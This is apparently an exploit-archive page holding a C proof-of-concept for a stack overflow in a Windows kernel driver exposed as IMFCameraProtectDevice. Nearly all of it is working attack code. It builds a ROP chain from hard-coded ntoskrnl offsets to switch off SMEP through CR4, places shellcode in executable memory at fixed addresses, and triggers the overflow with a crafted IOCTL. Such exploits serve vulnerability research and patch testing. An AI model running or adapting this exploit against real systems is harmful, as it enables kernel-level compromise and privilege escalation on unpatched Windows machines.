4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / Exploit.c C
#include <windows.h>
#include <Psapi.h>
#include <stdio.h>
/*
  Kernel related offsets are for ntoskrnl, version: 10.0.17134.345
  Working as of 10/18/18
  Check your kernel version
*/
typedef unsigned long long QWORD; // DWORD64

int main(int argc, char* argv[]) {
  HANDLE hDriver = CreateFileW(L"\\\\.\\IMFCameraProtectDevice", GENERIC_READ | GENERIC_WRITE, 0,
    NULL, OPEN_EXISTING, 0, NULL); // Get a handle to the driver

  if (hDriver != INVALID_HANDLE_VALUE) {
    printf("[i] Found driver\n");
    LPVOID lpInMemoryArea = VirtualAlloc((LPVOID)0x41000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    LPVOID lpOutMemoryArea = VirtualAlloc((LPVOID)0x42000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // [!] Check if needed....
    LPVOID lpShellcodeArea = VirtualAlloc((LPVOID)0x43000000, 0x400, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    /*
      The current shellcode moves values into registers that would have been there if it were normally executing
      It also re-enables SMEP (bypass patch guard)
    */
    BYTE arrShellcode[] = { 0xBE, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8B, 0xDB, 0x48, 0x83, 0xC4, 0x18, 0xB9, 0x78, 0x06, 0x07, 0x00, 0xC3 };

    if (lpInMemoryArea == NULL || lpShellcodeArea == NULL) {
      printf("[!!!] Unable to allocate memory\n");
      ExitProcess(-1);
    }
    printf("[i]Allocated memory\n");
    memset(lpInMemoryArea, 0x00, 0x100); // Clean memory area
    memset(lpShellcodeArea, 0x00, 0x400);
    memmove(lpShellcodeArea, &arrShellcode, 18); // Put shellcode in proper memory area

    LPDWORD lpcbNeeded = 0; // Size you need (the "safe" way)
    LPVOID arrDriversAddresses[250] = { 0 }; // Change if you have more than 250 drivers loaded
    K32EnumDeviceDrivers(arrDriversAddresses, 0x250, &lpcbNeeded); // You could also call this function twice, and get the array size you need
		
    QWORD qwTemp = arrDriversAddresses[0]; // First value is ntoskrnl.exe base address
    qwTemp += 0x1A58F0; // nt!HvlEndSystemInterrupt + 0x20 
    QWORD qwRCX = 0x30678; // value for rcx, so: mov cr4, rcx ; has cr4 with SMEP disabled
    memmove((BYTE*)lpInMemoryArea + 0x20, &qwTemp, sizeof(QWORD)); // First link in ROP chain
    memmove((BYTE*)lpInMemoryArea + 0x28, &qwRCX, sizeof(QWORD)); // Value that will be popped into rcx
    qwTemp = arrDriversAddresses[0];
    qwTemp += 0x47E6FD; // nt!KiEnableXSave + 0x54D1
    memmove((BYTE*)lpInMemoryArea + 0x30, &qwTemp, sizeof(QWORD));
    memmove((BYTE*)lpInMemoryArea + 0x38, &lpShellcodeArea, sizeof(QWORD)); // Jump to our shellcode area 
    qwTemp = qwTemp = arrDriversAddresses[0];
    qwTemp += 0x47E6FD; // nt!KiEnableXSave + 0x54D1, re-enable SMEP, so no Patch Guard, or other strange BSoDs
    memmove((BYTE*)lpInMemoryArea + 0x58, &qwTemp, sizeof(QWORD)); // Skip 4 QWORDs (nothing in the stack) then overwrite the ret address

    DWORD dwIoctl = 0x8018E000; // Stack overflow IOCTL = 0x8018E004
    printf("[i] Sending IOCTL 0x%X\n", dwIoctl);
    DWORD dwBytesOut = 0;
    NTSTATUS dwLastError = DeviceIoControl(hDriver, dwIoctl, lpInMemoryArea, 0x60, NULL, 0, &dwBytesOut, NULL); // No output buffer needed
    // nlnInBufferSize is in Bytes (0x60 is needed)
  }
  else {
    printf("[!!!] Unable to find driver\n");
    ExitProcess(-1);
  }
  ExitProcess(0);
}